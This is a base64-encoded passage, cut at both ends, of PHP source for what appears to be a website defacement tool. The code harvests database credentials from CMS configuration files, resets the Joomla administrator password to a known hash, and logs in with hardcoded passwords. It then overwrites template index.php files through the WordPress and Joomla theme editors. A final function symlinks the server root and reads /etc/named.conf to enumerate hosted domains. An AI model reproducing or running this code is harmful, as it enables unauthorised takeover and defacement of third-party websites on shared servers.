c2Z1bDxiciAvPiI7DQokZ28gPSAxOw0KICAgICAgICB9DQogICAgICAgIGlmKCRnbykgew0KJGNvbmQgPSAwOw0KJHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocD9maWxlPS90aGVtZXMvIi4kdGVtcGxhdGUuJy9pbmRleC5waHAmdGhlbWU9Jy51cmxlbmNvZGUoJGN1cnJlbnRfdGhlbWUpLicmZGlyPXRoZW1lJzsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgIkNPT0tJRS50eHQiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAiQ09PS0lFLnR4dCIpOw0KJGJ1ZmZlcjAgPSBjdXJsX2V4ZWMoJGNoKTsNCg0KJF93cG5vbmNlID0gZW50cmUydjIoJGJ1ZmZlcjAsJzxpbnB1dCB0eXBlPSJoaWRkZW4iIGlkPSJfd3Bub25jZSIgbmFtZT0iX3dwbm9uY2UiIHZhbHVlPSInLCciIC8+Jyk7DQokX2ZpbGUgPSBlbnRyZTJ2MigkYnVmZmVyMCwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZmlsZSIgdmFsdWU9IicsJyIgLz4nKTsNCg0KaWYoc3Vic3RyX2NvdW50KCRfZmlsZSwiL2luZGV4LnBocCIpICE9IDApew0KJG91dHB1dC49ICJbK10gaW5kZXgucGhwIGxvYWRlZCBpbiBUaGVtZSBFZGl0b3I8YnIgLz4iOw0KJHVybDI9JHNpdGVfdXJsLiIvd3AtYWRtaW4vdGhlbWUtZWRpdG9yLnBocCI7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywibmV3Y29udGVudD0iLmJhc2U2NF9kZWNvZGUoJGNvbnRlbnQpLiImYWN0aW9uPXVwZGF0ZSZmaWxlPSIuJF9maWxlLiImX3dwbm9uY2U9Ii4kX3dwbm9uY2UuIiZzdWJtaXQ9VXBkYXRlIEZpbGUiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCmN1cmxfY2xvc2UoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KJG91dHB1dC49ICJbLV0gVXBkYXRpbmcgSW5kZXgucGhwIEVycm9yPGJyIC8+IjsNCn0gZWxzZSB7DQokb3V0cHV0Lj0gIlsrXSBJbmRleC5waHAgVXBkYXRlZCBTdWNjZXNzZnVseTxiciAvPiI7DQokaGsgPSBleHBsb2RlKCdwdWJsaWNfaHRtbCcsJF9maWxlKTsNCiRvdXRwdXQuPSAnWytdIERlZmFjZSAnLmZpbGVfZ2V0X2NvbnRlbnRzKCRzaXRlX3VybC5zdHJfcmVwbGFjZSgnL2Jsb2cnLCcnLCRoa1sxXSkpOw0KJGNvbmQgPSAxOw0KfQ0KfSBlbHNlIHsNCiR1cmwyPSRzaXRlX3VybC4nL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHA/ZmlsZT1pbmRleC5waHAmdGhlbWU9Jy4kdGVtcGxhdGU7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAiQ09PS0lFLnR4dCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICJDT09LSUUudHh0Iik7DQokYnVmZmVyMCA9IGN1cmxfZXhlYygkY2gpOw0KDQokX3dwbm9uY2UgPSBlbnRyZTJ2MigkYnVmZmVyMCwnPGlucHV0IHR5cGU9ImhpZGRlbiIgaWQ9Il93cG5vbmNlIiBuYW1lPSJfd3Bub25jZSIgdmFsdWU9IicsJyIgLz4nKTsNCiRfZmlsZSA9IGVudHJlMnYyKCRidWZmZXIwLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJywnIiAvPicpOw0KDQppZihzdWJzdHJfY291bnQoJF9maWxlLCJpbmRleC5waHAiKSAhPSAwKXsNCiRvdXRwdXQuPSAiWytdIGluZGV4LnBocCBsb2FkZWQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCiR1cmwyPSRzaXRlX3VybC4iL3dwLWFkbWluL3RoZW1lLWVkaXRvci5waHAiOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1RGSUVMRFMsIm5ld2NvbnRlbnQ9Ii5iYXNlNjRfZGVjb2RlKCRjb250ZW50KS4iJmFjdGlvbj11cGRhdGUmZmlsZT0iLiRfZmlsZS4iJnRoZW1lPSIuJHRlbXBsYXRlLiImX3dwbm9uY2U9Ii4kX3dwbm9uY2UuIiZzdWJtaXQ9VXBkYXRlIEZpbGUiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICJDT09LSUUudHh0Iik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgIkNPT0tJRS50eHQiKTsNCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCmN1cmxfY2xvc2UoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGl2IGlkPSJtZXNzYWdlIiBjbGFzcz0idXBkYXRlZCI+Jyk7DQppZigkcG9zID09PSBmYWxzZSkgew0KICAgICRvdXRwdXQuPSAiWy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KICAgICRvdXRwdXQuPSAiWytdIEluZGV4LnBocCBUZW1wbGF0ZSBVcGRhdGVkIFN1Y2Nlc3NmdWx5PGJyIC8+IjsNCiAgICAkb3V0cHV0Lj0gJ1srXSBEZWZhY2UgJy5maWxlX2dldF9jb250ZW50cygkc2l0ZV91cmwuJy93cC1jb250ZW50L3RoZW1lcy8nLiR0ZW1wbGF0ZS4nL2luZGV4LnBocCcpOw0KICAgICRjb25kID0gMTsNCn0NCn0gZWxzZSB7DQokb3V0cHV0Lj0gIlstXSBpbmRleC5waHAgY2FuIG5vdCBsb2FkIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQp9DQp9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIGdsb2JhbCAkYmFzZV9wYXRoOw0KICAgIHVubGluaygkYmFzZV9wYXRoLidDT09LSUUudHh0Jyk7DQogICAgcmV0dXJuIGFycmF5KCdjb25kJz0+JGNvbmQsICdvdXRwdXQnPT4kb3V0cHV0KTsNCn0NCg0KZnVuY3Rpb24gaW5kZXhfY2hhbmdlcl9qb29tbGEoJGNvbmYsICRjb250ZW50LCAkZG9tYWluKSB7DQogICAgJGRvbGVyID0gJyQnOw0KICAgICR1c2VybmFtZSA9IGVudHJlMnYyKCRjb25mLCAkZG9sZXIuInVzZXIgPSAnIiwgIic7Iik7DQogICAgJHBhc3N3b3JkID0gZW50cmUydjIoJGNvbmYsICRkb2xlci4icGFzc3dvcmQgPSAnIiwgIic7Iik7DQogICAgJGRibmFtZSA9IGVudHJlMnYyKCRjb25mLCAkZG9sZXIuImRiID0gJyIsICInOyIpOw0KICAgICRwcmVmaXggPSBlbnRyZTJ2MigkY29uZiwgJGRvbGVyLiJkYnByZWZpeCA9ICciLCAiJzsiKTsNCiAgICAkaG9zdCA9IGVudHJlMnYyKCRjb25mLCAkZG9sZXIuImhvc3QgPSAnIiwiJzsiKTsNCiAgICAkY289cmFuZG9tdCgpOw0KICAgICRzaXRlX3VybCA9ICJodHRwOi8vIi4kZG9tYWluLiIvYWRtaW5pc3RyYXRvciI7DQogICAgJG91dHB1dCA9ICcnOw0KICAgICRjb25kID0gMDsgDQogICAgJGxpbms9bXlzcWxfY29ubmVjdCgkaG9zdCwgJHVzZXJuYW1lLCAkcGFzc3dvcmQpOw0KICAgIGlmKCRsaW5rKSB7DQogICAgICAgIG15c3FsX3NlbGVjdF9kYigkZGJuYW1lLCRsaW5rKSA7DQogICAgICAgICRyZXExID0gbXlzcWxfcXVlcnkoIlVQREFURSBgIi4kcHJlZml4LiJ1c2Vyc2AgU0VUIGB1c2VybmFtZWAgPSdhZG1pbicgLCBgcGFzc3dvcmRgID0gJzQyOTdmNDRiMTM5NTUyMzUyNDViMjQ5NzM5OWQ3YTkzJywgYHVzZXJ0eXBlYCA9ICdTdXBlciBBZG1pbmlzdHJhdG9yJywgYGJsb2NrYCA9IDAiKTsNCiAgICAgICAgJHJlcSA9IG15c3FsX251bXJvd3MobXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIExJS0UgJyIuJHByZWZpeC4iZXh0ZW5zaW9ucyciKSk7DQogICAgfSBlbHNlIHsNCiAgICAgICAgJG91dHB1dC49ICJbLV0gREIgRXJyb3I8YnIgLz4iOw0KICAgIH0NCiAgICANCiAgICBpZigkcmVxMSl7DQogICAgICAgIGlmICgkcmVxKSB7DQokcmVxID0gbXlzcWxfcXVlcnkoIlNFTEVDVCAqIGZyb20gIGAiLiRwcmVmaXguInRlbXBsYXRlX3N0eWxlc2AgV0hFUkUgYGNsaWVudF9pZGAgPSAnMCcgYW5kIGBob21lYCA9ICcxJyIpOw0KJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiR0ZW1wbGF0ZV9uYW1lID0gJGRhdGFbInRlbXBsYXRlIl07DQoNCiRyZXEgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogZnJvbSAgYCIuJHByZWZpeC4iZXh0ZW5zaW9uc2AgV0hFUkUgYG5hbWVgPSciLiR0ZW1wbGF0ZV9uYW1lLiInIG9yIGBlbGVtZW50YCA9ICciLiR0ZW1wbGF0ZV9uYW1lLiInIik7DQokZGF0YSA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXEpOw0KJHRlbXBsYXRlX2lkID0gJGRhdGFbImV4dGVuc2lvbl9pZCJdOw0KDQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHAiOw0KJGNoID0gY3VybF9pbml0KCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCiRyZXR1cm4gPSBlbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0icmV0dXJuIiB2YWx1ZT0iJywnIicpOw0KJGhpZGRlbiA9IGVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNCk7DQoNCmlmKCRyZXR1cm4gJiYgJGhpZGRlbikgew0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJHVybDIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFRkVSRVIsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCAidXNlcm5hbWU9YWRtaW4mcGFzc3dkPTEyMzEyMyZvcHRpb249Y29tX2xvZ2luJnRhc2s9bG9naW4mcmV0dXJuPSIuJHJldHVybi4iJiIuJGhpZGRlbi4iPTEiKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCJjb21fY29uZmlnIik7DQppZigkcG9zID09PSBmYWxzZSkgew0KJG91dHB1dC49ICJbLV0gTG9naW4gRXJyb3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIExvZ2luIFN1Y2Nlc3NmdWw8YnIgLz4iOw0KfQ0KfQ0KaWYoJHBvcyl7DQokdXJsMj0kc2l0ZV91cmwuIi9pbmRleC5waHA/b3B0aW9uPWNvbV90ZW1wbGF0ZXMmdGFzaz1zb3VyY2UuZWRpdCZpZD0iLmJhc2U2NF9lbmNvZGUoJHRlbXBsYXRlX2lkLiI6aW5kZXgucGhwIik7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KDQokaGlkZGVuMj1lbnRyZTJ2MigkYnVmZmVyICwnPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iJywnIiB2YWx1ZT0iMSInLDIpOw0KaWYoJGhpZGRlbjIpIHsNCiRvdXRwdXQuPSAiWytdIGluZGV4LnBocCBmaWxlIGZvdW5kIGluIFRoZW1lIEVkaXRvcjxiciAvPiI7DQp9IGVsc2Ugew0KJG91dHB1dC49ICJbLV0gaW5kZXgucGhwIE5vdCBmb3VuZCBpbiBUaGVtZSBFZGl0b3I8YnIgLz4iOw0KfQ0KfQ0KaWYoJGhpZGRlbjIpIHsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZsYXlvdXQ9ZWRpdCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJqZm9ybVtzb3VyY2VdPSIuJGNvbnRlbnQuIiZqZm9ybVtmaWxlbmFtZV09aW5kZXgucGhwJmpmb3JtW2V4dGVuc2lvbl9pZF09Ii4kdGVtcGxhdGVfaWQuIiYiLiRoaWRkZW4yLiI9MSZ0YXNrPXNvdXJjZS5zYXZlIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCmN1cmxfY2xvc2UoJGNoKTsNCg0KJHBvcyA9IHN0cnBvcygkYnVmZmVyLCc8ZGQgY2xhc3M9Im1lc3NhZ2UgbWVzc2FnZSI+Jyk7DQokY29uZCA9IDA7DQppZigkcG9zID09PSBmYWxzZSkgew0KJG91dHB1dC49ICJbLV0gVXBkYXRpbmcgSW5kZXgucGhwIEVycm9yPGJyIC8+IjsNCiAgIA0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWytdIEluZGV4LnBocCBUZW1wbGF0ZSBzdWNjZXNzZnVsbHkgc2F2ZWQ8YnIgLz4iOw0KJGNvbmQgPSAxOw0KfQ0KfQ0KICAgICAgICB9IA0KICAgICAgICBlbHNlIHsNCiRyZXEgPW15c3FsX3F1ZXJ5KCJTRUxFQ1QgKiBmcm9tICBgIi4kcHJlZml4LiJ0ZW1wbGF0ZXNfbWVudWAgV0hFUkUgY2xpZW50X2lkPScwJyIpOw0KJGRhdGEgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVxKTsNCiR0ZW1wbGF0ZV9uYW1lPSRkYXRhWyJ0ZW1wbGF0ZSJdOw0KJHVzZXJhZ2VudD0iTW96aWxsYS80LjAgKGNvbXBhdGlibGU7IE1TSUUgNy4wYjsgV2luZG93cyBOVCA1LjE7IC5ORVQgQ0xSIDEuMS40MzIyOyBBbGV4YSBUb29sYmFyOyAuTkVUIENMUiAyLjAuNTA3MjcpIjsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocCI7DQokY2ggPSBjdXJsX2luaXQoKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09OTkVDVFRJTUVPVVQsIDEwKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VU0VSQUdFTlQsICR1c2VyYWdlbnQpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUpBUiwgJGNvKTsgDQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFRklMRSwgJGNvKTsgDQokYnVmZmVyID0gY3VybF9leGVjKCRjaCk7DQokaGlkZGVuPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsMyk7DQoNCmlmKCRoaWRkZW4pIHsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NULCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9QT1NURklFTERTLCJ1c2VybmFtZT1hZG1pbiZwYXNzd2Q9MTIzNDU2Jm9wdGlvbj1jb21fbG9naW4mdGFzaz1sb2dpbiYiLiRoaWRkZW4uIj0xIik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfRk9MTE9XTE9DQVRJT04sIDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCiRwb3MgPSBzdHJwb3MoJGJ1ZmZlciwiY29tX2NvbmZpZyIpOw0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiRvdXRwdXQuPSAiWy1dIExvZ2luIEVycm9yPGJyIC8+IjsNCn0gZWxzZSB7DQokb3V0cHV0Lj0gIlsrXSBMb2dpbiBTdWNjZXNzZnVsPGJyIC8+IjsNCn0NCn0NCg0KaWYoJHBvcykgew0KJHVybDI9JHNpdGVfdXJsLiIvaW5kZXgucGhwP29wdGlvbj1jb21fdGVtcGxhdGVzJnRhc2s9ZWRpdF9zb3VyY2UmY2xpZW50PTAmaWQ9Ii4kdGVtcGxhdGVfbmFtZTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9VUkwsICR1cmwyKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9GT0xMT1dMT0NBVElPTiwgMSk7DQpjdXJsX3NldG9wdCgkY2gsQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiwxKTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJHVzZXJhZ2VudCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfQ09PS0lFSkFSLCAkY28pOyANCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVGSUxFLCAkY28pOyANCiRidWZmZXIgPSBjdXJsX2V4ZWMoJGNoKTsNCiRoaWRkZW4yPWVudHJlMnYyKCRidWZmZXIgLCc8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSInLCciIHZhbHVlPSIxIicsNik7DQppZigkaGlkZGVuMikgew0KJG91dHB1dC49ICJbK10gaW5kZXgucGhwIGZpbGUgZm91bmRlZCBpbiBUaGVtZSBFZGl0b3I8YnIgLz4iOw0KfSBlbHNlIHsNCiRvdXRwdXQuPSAiWy1dIGluZGV4LnBocCBOb3QgZm91bmQgaW4gVGhlbWUgRWRpdG9yPGJyIC8+IjsNCn0NCn0NCg0KaWYoJGhpZGRlbjIpIHsNCiR1cmwyPSRzaXRlX3VybC4iL2luZGV4LnBocD9vcHRpb249Y29tX3RlbXBsYXRlcyZsYXlvdXQ9ZWRpdCI7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVJMLCAkdXJsMik7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVCwgMSk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywiZmlsZWNvbnRlbnQ9Ii4kY29udGVudC4iJmlkPSIuJHRlbXBsYXRlX25hbWUuIiZjaWRbXT0iLiR0ZW1wbGF0ZV9uYW1lLiImIi4kaGlkZGVuMi4iPTEmdGFzaz1zYXZlX3NvdXJjZSZjbGllbnQ9MCIpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAxKTsNCmN1cmxfc2V0b3B0KCRjaCxDVVJMT1BUX1JFVFVSTlRSQU5TRkVSLDEpOw0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0hFQURFUiwgMCk7DQpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfVVNFUkFHRU5ULCAkdXNlcmFnZW50KTsNCmN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9DT09LSUVKQVIsICRjbyk7IA0KY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0NPT0tJRUZJTEUsICRjbyk7IA0KJGJ1ZmZlciA9IGN1cmxfZXhlYygkY2gpOw0KY3VybF9jbG9zZSgkY2gpOw0KDQokcG9zID0gc3RycG9zKCRidWZmZXIsJzxkZCBjbGFzcz0ibWVzc2FnZSBtZXNzYWdlIGZhZGUiPicpOw0KJGNvbmQgPSAwOw0KaWYoJHBvcyA9PT0gZmFsc2UpIHsNCiRvdXRwdXQuPSAiWy1dIFVwZGF0aW5nIEluZGV4LnBocCBFcnJvcjxiciAvPiI7DQp9IGVsc2Ugew0KJG91dHB1dC49ICJbK10gSW5kZXgucGhwIFRlbXBsYXRlIHN1Y2Nlc3NmdWxseSBzYXZlZDxiciAvPiI7DQokY29uZCA9IDE7DQp9DQp9DQogICAgICAgIH0NCiAgICB9IGVsc2Ugew0KICAgICAgICAkb3V0cHV0Lj0gIlstXSBEQiBFcnJvcjxiciAvPiI7DQogICAgfQ0KICAgIGdsb2JhbCAkYmFzZV9wYXRoOw0KICAgIHVubGluaygkYmFzZV9wYXRoLiRjbyk7DQogICAgcmV0dXJuIGFycmF5KCdjb25kJz0+JGNvbmQsICdvdXRwdXQnPT4kb3V0cHV0KTsgDQp9DQoNCmZ1bmN0aW9uIGV4ZWNfbW9kZV8xKCRkZWZfdXJsLCAkaGFja2VyKSB7DQoNCiAgICBAbWtkaXIoJ3N5bScsMDc3Nyk7DQogICAgJHdyICA9ICJPcHRpb25zIGFsbCBcbiBEaXJlY3RvcnlJbmRleCBTdXguaHRtbCBcbiBBZGRUeXBlIHRleHQvcGxhaW4gLnBocCBcbiBBZGRIYW5kbGVyIHNlcnZlci1wYXJzZWQgLnBocCBcbiAgQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sIFxuIEFkZEhhbmRsZXIgdHh0IC5odG1sIFxuIFJlcXVpcmUgTm9uZSBcbiBTYXRpc2Z5IEFueSI7DQogICAgJGZwID0gQGZvcGVuICgnc3ltLy5odGFjY2VzcycsJ3cnKTsNCiAgICBmd3JpdGUoJGZwLCAkd3IpOw0KICAgIEBzeW1saW5rKCcvJywnc3ltL3Jvb3QnKTsNCiAgICAkZG9taW5pb3MgPSBAZmlsZV9nZXRfY29udGVudHMoIi9ldGMvbmFtZWQuY29uZiIpOw0KICAgIEBwcmVnX21hdGNoX2FsbCgnLy4qP3pvbmUgIiguKj8pIiB7LycsICRkb21pbmlvcywgJG91dCk7DQogICAgJG91dFsxXSA9IGFycmF5X3VuaXF1ZSgkb3V0WzFdKTsNCiAgICAkbnVtZXJvX2RvbWluaW9zID0gY291bnQoJG91dFsxXSk7DQ